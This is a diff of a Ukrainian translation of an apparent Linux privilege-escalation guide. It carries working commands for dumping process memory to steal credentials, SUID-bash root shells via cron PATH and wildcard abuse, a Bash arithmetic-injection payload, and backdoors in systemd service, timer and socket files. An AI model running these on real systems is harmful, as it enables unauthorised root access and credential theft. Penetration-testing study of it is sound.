-Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати його і перевірити на наявність конфіденційної інформації.
+Перевірте **що змонтовано і що розмонтовано**, де і чому. Якщо щось розмонтовано, ви можете спробувати змонтувати це й перевірити на наявність приватної інформації
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Корисне програмне забезпечення
-Перелічте корисні бінарні файли
+Перелічення корисних бінарних файлів
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-Також перевірте, чи встановлено **any compiler**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній).
+Також перевірте, чи **встановлено будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендується скомпілювати його на машині, де ви збираєтеся його використовувати (або на подібній).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
-### Встановлене вразливе програмне забезпечення
+### Уразливе встановлене програмне забезпечення
-Перевірте **версію встановлених пакетів і сервісів**. Можливо, є стара версія Nagios (наприклад), яку можна використати для підвищення привілеїв…\
-Рекомендується вручну перевіряти версії найбільш підозрілого встановленого програмного забезпечення.
+Перевірте **версію встановлених пакетів та сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\
+Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
-Якщо у вас є SSH доступ до машини, ви також можете використати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині.
+Якщо у вас є SSH-доступ до машини, ви також можете використати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині.
-> [!NOTE] > _Зверніть увагу, що ці команди покажуть багато інформації, яка здебільшого буде марною, тому рекомендується використовувати програми на кшталт OpenVAS або подібні, які перевіряють, чи версія встановленого програмного забезпечення вразлива до відомих exploits_
+> [!NOTE] > _Зверніть увагу, що ці команди покажуть багато інформації, яка в більшості буде непотрібною, тому рекомендується використовувати програми, такі як OpenVAS або подібні, які перевіряють, чи яка-небудь встановлена версія програмного забезпечення є вразливою до відомих exploits_
## Processes
-Погляньте, **які процеси** виконуються, і перевірте, чи якийсь процес має **більше привілеїв, ніж повинен** (можливо tomcat запускається від root?)
+Погляньте, **які процеси** виконуються та перевірте, чи якийсь процес має **більше привілеїв, ніж повинен** (можливо, tomcat запущено під root?)
```bash
ps aux
ps -ef
top -n 1
```
-Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
-Також **check your privileges over the processes binaries**, можливо, ви зможете overwrite їх.
+Завжди перевіряйте, чи не запущені [**electron/cef/chromium debuggers** — you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
+Also **check your privileges over the processes binaries**, можливо, ви зможете перезаписати чийсь файл.
-### Process monitoring
+### Моніторинг процесів
-Ви можете використовувати інструменти на кшталт [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови.
+Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, що виконуються часто або коли виконуються певні умови.
-### Process memory
+### Пам'ять процесу
-Деякі сервіси сервера зберігають **credentials in clear text inside the memory**.\
-Зазвичай вам потрібні **root privileges** для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше credentials.\
-Проте пам'ятайте, що **as a regular user you can read the memory of the processes you own**.
+Деякі сервіси на сервері зберігають **облікові дані у відкритому вигляді в пам'яті**.\
+Зазвичай вам знадобляться **root privileges** для читання пам'яті процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти більше облікових даних.\
+Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, що належать вам**.
> [!WARNING]
> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user.
>
> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace:
>
-> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace.
-> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged.
+> - **kernel.yama.ptrace_scope = 0**: всі процеси можна відлагодити, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace.
+> - **kernel.yama.ptrace_scope = 1**: відлагоджуватись може тільки батьківський процес.
> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
-> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.
+> - **kernel.yama.ptrace_scope = 3**: Жодні процеси не можуть бути трасовані через ptrace. Після встановлення потрібне перезавантаження, щоб знову дозволити ptrace.
#### GDB
-Якщо ви маєте доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати всередині його credentials.
+Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати в ньому облікові дані.
```bash
gdb -p
(gdb) info proc mappings
@@ -202,7 +202,7 @@ gdb -p
(gdb) q
strings /tmp/mem_ftp #User and password
```
-#### Скрипт GDB
+#### GDB скрипт
```bash:dump-memory.sh
#!/bin/bash
#./dump-memory.sh
@@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
-Для заданого ідентифікатора процесу файли maps показують, як пам'ять відображена у віртуальному адресному просторі цього процесу; вони також показують права доступу кожного відображеного регіону. Псевдофайл mem надає доступ до самої пам'яті процесу. З файлу maps ми дізнаємося, які області пам'яті доступні для читання та їхні зсуви. Ми використовуємо цю інформацію, щоб виконати seek у файлі mem і dump усі доступні для читання області в файл.
+Для заданого ідентифікатора процесу (PID) **maps показують, як пам'ять відображається у віртуальному адресному просторі цього процесу**; також вони показують **права доступу кожного відображеного регіону**. Псевдо-файл **mem** **надає доступ до самої пам'яті процесу**. Із файлу **maps** ми дізнаємося, які **регіони пам'яті доступні для читання** та їхні офсети. Ми використовуємо цю інформацію, щоб **seek у файл mem і dump усі доступні для читання регіони** в окремий файл.
```bash
procdump()
(
@@ -230,14 +230,14 @@ rm $1*.bin
```
#### /dev/mem
-`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. Віртуальний простір адрес ядра можна отримати через /dev/kmem.\
-Зазвичай `/dev/mem` доступний для читання лише для **root** та групи **kmem**.
+`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати через /dev/kmem.\
+Зазвичай `/dev/mem` доступний для читання лише користувачу **root** та групі **kmem**.
```
strings /dev/mem -n10 | grep -i PASS
```
-### ProcDump для linux
+### ProcDump for linux
-ProcDump — це переосмислена для Linux версія класичного інструменту ProcDump із набору Sysinternals для Windows. Отримати можна за адресою [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump — це переосмислення для Linux класичного інструмента ProcDump із набору Sysinternals для Windows. Отримати його можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@@ -266,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### Інструменти
-Щоб дампнути пам'ять процесу, ви можете використати:
+Щоб dump process memory ви можете використовувати:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
-- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимогу root та зробити дамп процесу, який належить вам
+- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і dump процес, що належить вам
- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root)
-### Облікові дані з пам'яті процесу
+### Облікові дані з process memory
#### Ручний приклад
-Якщо ви виявите, що процес authenticator запущено:
+Якщо ви виявите, що процес authenticator запущений:
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
-Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory:
+Ви можете dump the process (див. попередні розділи, щоб знайти різні способи dump пам'яті процесу) і шукати credentials всередині пам'яті:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
#### mimipenguin
-The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **викрадати облікові дані у відкритому вигляді з пам'яті** and from some **well known files**. It requires root privileges to work properly.
+Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) викрадає облікові дані у відкритому тексті з пам'яті та з деяких відомих файлів. Для коректної роботи вимагає привілеїв root.
-| Функція | Назва процесу |
+| Функція | Ім'я процесу |
| ------------------------------------------------- | -------------------- |
-| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password |
+| GDM password (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
-| VSFTPd (Активні FTP-з'єднання) | vsftpd |
-| Apache2 (Активні HTTP Basic Auth Sessions) | apache2 |
-| OpenSSH (Активні SSH Sessions - Sudo Usage) | sshd: |
+| VSFTPd (Active FTP Connections) | vsftpd |
+| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
+| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
-#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc)
+#### Пошукові регулярні вирази/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
@@ -313,18 +313,18 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
-## Планові/Cron завдання
+## Заплановані/Cron завдання
-### Crontab UI (alseambusher), запущений від імені root — веб-інтерфейсний планувальник для privesc
+### Crontab UI (alseambusher) running as root – web-based scheduler privesc
-Якщо веб‑панель “Crontab UI” (alseambusher/crontab-ui) запущена від імені root і прив'язана лише до loopback, ви все одно можете дістатися до неї через SSH local port-forwarding і створити привілейоване завдання для privesc.
+Якщо веб-панель “Crontab UI” (alseambusher/crontab-ui) працює від root і прив'язана лише до loopback, її все одно можна дістати через SSH local port-forwarding і створити привілейоване завдання для підвищення привілеїв.
-Типовий ланцюжок
-- Виявити порт, доступний лише на loopback (наприклад, 127.0.0.1:8000) та Basic-Auth realm за допомогою `ss -ntlp` / `curl -v localhost:8000`
+Типова послідовність
+- Виявити порт, доступний лише з loopback (наприклад, 127.0.0.1:8000) та Basic-Auth realm за допомогою `ss -ntlp` / `curl -v localhost:8000`
- Знайти облікові дані в операційних артефактах:
-- Резервні копії/скрипти з `zip -P `
-- systemd unit, який містить `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
-- Створити тунель і увійти:
+ - Резервні копії/скрипти з `zip -P `
+ - systemd unit, що містить `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."`
+- Тунелювання та вхід:
```bash
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
@@ -339,41 +339,40 @@ cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
```bash
/tmp/rootshell -p # root shell
```
-Підвищення безпеки
-- Не запускайте Crontab UI як root; обмежте його виконання виділеним користувачем із мінімальними правами
-- Прив'язуйте до localhost та додатково обмежуйте доступ через firewall/VPN; не використовуйте паролі повторно
-- Уникайте вбудовування секретів у unit files; використовуйте сховища секретів або root-only EnvironmentFile
-- Увімкніть аудит/логування для on-demand job executions
+Зміцнення безпеки
+- Не запускайте Crontab UI від імені root; обмежте запуск виділеним користувачем і мінімальними дозволами
+- Прив’язуйте до localhost і додатково обмежуйте доступ через firewall/VPN; не використовуйте повторно passwords
+- Уникайте вбудовування секретів у unit files; використовуйте secret stores або root-only EnvironmentFile
+- Увімкніть аудит/логування для виконання задач за вимогою
-Перевірте, чи якась scheduled job уразлива. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? чи можна змінити файли, які використовує root? use symlinks? створити певні файли в директорії, яку використовує root?).
+Перевірте, чи якась запланована задача вразлива. Можливо, ви зможете скористатися скриптом, який виконується від імені root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
-### Cron path
+### Cron шлях
Наприклад, всередині _/etc/crontab_ ви можете знайти PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
-(_Зверніть увагу, що користувач "user" має права запису в /home/user_)
-
-Якщо всередині цього crontab користувач root намагається виконати команду або скрипт без встановлення PATH. Наприклад: _\* \* \* \* root overwrite.sh_\
+(_Зверніть увагу, що користувач "user" має права на запис у /home/user_)
+Якщо всередині цього crontab користувач root намагається виконати команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\
Тоді ви можете отримати root shell, використавши:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
-### Cron using a script with a wildcard (Wildcard Injection)
+### Cron, який використовує скрипт з wildcard (Wildcard Injection)
-Якщо скрипт, який виконується під root, має “**\***” у команді, ви можете використати це, щоб зробити несподівані речі (наприклад privesc). Приклад:
+Якщо скрипт виконується від root і має “**\***” всередині команди, ви можете це експлуатувати для виконання небажаних дій (наприклад privesc). Приклад:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
-**Якщо wildcard розташований після шляху, наприклад** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є вразливим).**
+**Якщо wildcard передує шляху на кшталт** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не є вразливим).**
-Прочитайте наступну сторінку для додаткових трюків експлуатації wildcard:
+Прочитайте наступну сторінку, щоб дізнатися більше трюків експлуатації wildcard:
{{#ref}}
@@ -383,11 +382,11 @@ wildcards-spare-tricks.md
### Bash arithmetic expansion injection in cron log parsers
-Bash виконує parameter expansion та command substitution перед arithmetic evaluation в ((...)), $((...)) та let. Якщо root cron/parser читає untrusted log fields і підставляє їх в arithmetic context, атакуючий може інжектити command substitution $(...), яке виконається як root під час запуску cron.
+Bash виконує розширення параметрів/змінних та підстановку команд перед арифметичною оцінкою в ((...)), $((...)) та let. Якщо root cron/parser читає неперевірені поля логів і підставляє їх в арифметичний контекст, атакуючий може інʼєктувати підстановку команд $(...), яка виконається від імені root при запуску cron.
- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors.
-- Typical vulnerable pattern:
+- Типовий вразливий шаблон:
```bash
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
@@ -397,7 +396,7 @@ while IFS=',' read -r ts user count rest; do
done < /var/www/app/log/application.log
```
-- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid.
+- Експлуатація: добийтеся того, щоб у парсований лог записався текст, контрольований атакуючим, так щоб поле, що виглядає як число, містило підстановку команд і закінчувалося цифрою. Переконайтеся, що ваша команда не пише в stdout (або перенаправте її), щоб арифметичний вираз залишався валідним.
```bash
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
@@ -412,19 +411,19 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed
/tmp/bash -p
```
-Якщо скрипт, який виконується від імені root, використовує **каталог, у якому у вас повний доступ**, можливо, буде корисно видалити цю папку і **створити symlink-папку, що вказує на інший каталог**, яка подаватиме скрипт, контрольований вами
+Якщо script, що виконується від імені root, використовує **directory, до якого у вас є повний доступ**, можливо, варто видалити цю папку і **створити symlink-папку, що вказує на іншу**, яка слугуватиме для запуску script під вашим контролем.
```bash
ln -d -s
```
### Часті cron jobs
-Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges.
+Ви можете моніторити процеси, щоб шукати ті, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і escalate privileges.
-Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **відсортувати за найменшою кількістю виконань команд** і видалити команди, які були виконані найчастіше, ви можете зробити так:
+Наприклад, щоб **моніторити кожні 0.1s протягом 1 хвилини**, **сортувати за найменш виконуваними командами** і видалити команди, які були виконані найбільше, ви можете зробити:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
-**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно моніторитиме та перелічуватиме кожен процес, що запускається).
+**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно відстежуватиме та перераховуватиме кожен процес, що запускається).
### Невидимі cron jobs
@@ -432,95 +431,95 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
-## Сервіси
+## Служби
-### Файли _.service_, доступні для запису
+### Записувані _.service_ файли
-Перевірте, чи можете ви записувати будь-який `.service` файл; якщо так, ви **можете модифікувати його**, щоб він **виконував** ваш backdoor при **запуску**, **перезапуску** або **зупинці** service (можливо, доведеться почекати, поки машина буде rebooted).\
-Наприклад, розмістіть ваш backdoor всередині `.service` файлу з **`ExecStart=/tmp/script.sh`**
+Перевірте, чи можете ви записати будь-який `.service` файл, якщо так, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, вам доведеться почекати, поки машина не буде перезавантажена).\
+Наприклад, створіть ваш backdoor всередині .service файлу з **`ExecStart=/tmp/script.sh`**
-### Бінарні файли сервісів, доступні для запису
+### Записувані бінарні файли сервісів
-Майте на увазі, що якщо у вас є **write permissions over binaries being executed by services**, ви можете змінити їх на backdoors, тож коли services будуть повторно виконані, backdoors будуть виконані.
+Майте на увазі, що якщо у вас є **права на запис у бінарні файли, які виконуються службами**, ви можете змінити їх на backdoors, тож коли служби будуть повторно виконані, backdoors будуть виконані.
-### systemd PATH - Relative Paths
+### systemd PATH - Відносні шляхи
-Ви можете побачити PATH, який використовує **systemd**, за допомогою:
+Ви можете побачити PATH, який використовується **systemd**, за допомогою:
```bash
systemctl show-environment
```
-Якщо ви виявите, що можете **write** в будь-якій із папок цього шляху, ви можете отримати можливість **escalate privileges**. Вам потрібно шукати **relative paths being used on service configurations** у файлах, таких як:
+Якщо ви виявите, що можете **записувати** в будь-яку з папок цього шляху, ви можете мати змогу **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, такі як:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
-Потім створіть **виконуваний файл** з **тим самим ім'ям, що й бінарний файл за відносним шляхом** у папці PATH systemd, у яку ви маєте права запису, і коли службі буде доручено виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти служби, але перевірте, чи можете ви використати `sudo -l`).
+Потім створіть **executable** з тією ж назвою, що й бінарник за відносним шляхом, у каталозі systemd PATH, у який ви маєте право запису, і коли службі буде наказано виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor** буде виконано (звичайно невповноважені користувачі не можуть запускати/зупиняти служби, але перевірте, чи можете використати `sudo -l`).
-**Дізнайтесь більше про служби за допомогою `man systemd.service`.**
+**Дізнайтеся більше про служби за допомогою `man systemd.service`.**
-## **Timers**
+## **Таймери**
-**Timers** — це unit-файли systemd, назви яких закінчуються на `**.timer**`, які контролюють `**.service**` файли або події. **Timers** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій календарного часу та монотонних часових подій і можуть виконуватись асинхронно.
+**Таймери** — це systemd unit файли, назва яких закінчується в `**.timer**`, що контролюють `**.service**` файли або події. **Таймери** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотонних таймерів та можуть виконуватися асинхронно.
Ви можете перерахувати всі таймери за допомогою:
```bash
systemctl list-timers --all
```
-### Записувані таймери
+### Таймери, доступні для запису
-Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі одиниці systemd.unit (наприклад, `.service` або `.target`)
+Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі systemd.unit (наприклад `.service` або `.target`)
```bash
Unit=backdoor.service
```
-У документації можна прочитати, що таке Unit:
+У документації ви можете прочитати, що таке Unit:
-> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент — це ім'я юніта, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу, який має те саме ім'я, що й таймер, за винятком суфіксу. (Див. вище.) Рекомендується, щоб ім'я юніта, що активується, і ім'я таймер-юніта були ідентичні, за винятком суфіксу.
+> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
-Тому, щоб зловживати цим дозволом, потрібно:
+Отже, щоб зловживати цим дозволом, вам потрібно:
-- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує бінарний файл, доступний для запису**
-- Знайти якийсь systemd unit, який **запускає виконуваний файл за відносним шляхом** і над яким у вас є **привілеї запису** у **systemd PATH** (щоб підмінити цей виконуваний файл)
+- Знайти якийсь systemd unit (наприклад `.service`), який **виконує бінарний файл, доступний для запису**
+- Знайти якийсь systemd unit, який **виконує відносний шлях** і у вас є **права запису** над **systemd PATH** (щоб підмінити цей виконуваний файл)
-**Дізнайтеся більше про таймери за допомогою `man systemd.timer`.**
+**Детальніше про timers див. у `man systemd.timer`.**
-### **Включення таймера**
+### **Увімкнення таймера**
-Щоб увімкнути таймер, потрібні права root і потрібно виконати:
+Щоб увімкнути timer потрібні права root і виконати:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer`
-## Сокети
+## Sockets
-Unix Domain Sockets (UDS) дозволяють **взаємодію процесів** на тій самій або різних машинах у моделях клієнт‑сервер. Вони використовують стандартні Unix descriptor файли для міжкомп’ютерного зв’язку і налаштовуються через файли `.socket`.
+Unix Domain Sockets (UDS) дозволяють **взаємодію процесів** на тій самій або різних машинах у моделях клієнт‑сервер. Вони використовують стандартні Unix descriptor файли для міжмашинної комунікації і налаштовуються через `.socket` файли.
-Сокети можуть бути налаштовані за допомогою файлів `.socket`.
+Sockets можна налаштовувати за допомогою `.socket` файлів.
-**Детальніше про sockets дивіться в `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів:
+**Дізнайтеся більше про sockets за допомогою `man systemd.socket`.** Всередині цього файлу можна налаштувати кілька цікавих параметрів:
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції відрізняються, але узагальнено використовуються для **вказівки, де буде здійснюватися прослуховування** сокета (шлях до файлу AF_UNIX socket, IPv4/6 та/або номер порту для прослуховування тощо).
-- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання створюється окремий екземпляр сервісу, і йому передається лише сокет цього з'єднання. Якщо **false**, усі прослуховуючі сокети передаються до одного запущеного сервіс‑юниту, і для всіх з'єднань створюється лише один сервіс‑юнит. Це значення ігнорується для datagram сокетів і FIFO, де один сервіс‑юнит безумовно обробляє весь вхідний трафік. **За замовчуванням — false**. З міркувань продуктивності рекомендується писати нові демони так, щоб вони були сумісні з `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Приймають одну або декілька командних рядків, які **виконуються до** або **після** створення та прив'язки прослуховуючих **сокетів**/FIFO, відповідно. Першим токеном командного рядка має бути абсолютне ім'я файлу, після якого йдуть аргументи процесу.
-- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються до** або **після** закриття та видалення прослуховуючих **сокетів**/FIFO, відповідно.
-- `Service`: Вказує ім'я сервіс‑юниту, **який активується** при **вхідному трафіку**. Ця опція дозволена тільки для сокетів з Accept=no. За замовчуванням використовується сервіс з таким самим ім'ям, як і сокет (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції різняться між собою, але в загальному служать для **вказування, де буде відбуватися прослуховування** сокета (шлях до AF_UNIX socket файлу, IPv4/6 та/або номер порту для прослуховування тощо).
+- `Accept`: Приймає булевий аргумент. Якщо **true**, то **для кожного вхідного з’єднання створюється інстанс service** і йому передається лише сокет з’єднання. Якщо **false**, усі прослуховуючі сокети **передаються відразу до стартованого service unit**, і створюється лише один service unit для всіх з’єднань. Це значення ігнорується для datagram sockets і FIFOs, де один service unit безумовно обробляє весь вхідний трафік. **Defaults to false**. З міркувань продуктивності рекомендується писати нові демони таким чином, щоб вони підходили для `Accept=no`.
+- `ExecStartPre`, `ExecStartPost`: Приймають одну або декілька рядків команд, які **виконуються до** або **після** створення та прив’язки прослуховуючих **sockets**/FIFOs відповідно. Першим токеном командного рядка має бути абсолютне ім’я файлу, за яким слідують аргументи процесу.
+- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються до** або **після** закриття та видалення прослуховуючих **sockets**/FIFOs відповідно.
+- `Service`: Вказує ім’я **service** unit, яке потрібно **активувати** при **вхідному трафіку**. Ця опція дозволена лише для сокетів з Accept=no. За замовчуванням використовується service з таким же ім’ям, як і socket (з відповідною заміною суфікса). У більшості випадків використання цієї опції не є необхідним.
-### Файли .socket з правом запису
+### Writable .socket files
-Якщо ви знайдете **файл `.socket`, доступний для запису**, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor`, і backdoor буде виконано перед створенням сокета. Тому вам **ймовірно доведеться почекати до перезавантаження машини.**\
-_Зверніть увагу, що система має використовувати цю конфігурацію файлу `.socket`, інакше backdoor не буде виконано._
+Якщо ви знайдете **доступний для запису** `.socket` файл, ви можете **додати** на початку секції `[Socket]` щось на кшталт: `ExecStartPre=/home/kali/sys/backdoor` і backdoor буде виконано перед створенням сокета. Тому, **ймовірно доведеться дочекатися перезавантаження машини.**\
+_Note that the system must be using that socket file configuration or the backdoor won't be executed_
-### Сокети, доступні для запису
+### Writable sockets
-Якщо ви **виявите будь‑який сокет, доступний для запису** (_тут мова про Unix Sockets, а не про конфігураційні файли `.socket`_), то **ви можете спілкуватися** з цим сокетом і, можливо, експлуатувати вразливість.
+Якщо ви **виявите будь‑який доступний для запису socket** (_тут мова про Unix Sockets, а не про конфігураційні `.socket` файли_), то **ви зможете спілкуватися** з цим socket і, можливо, експлуатувати вразливість.
-### Перелічення Unix сокетів
+### Enumerate Unix Sockets
```bash
netstat -a -p --unix
```
-### Сире з'єднання
+### Необроблене з'єднання
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
@@ -529,45 +528,45 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
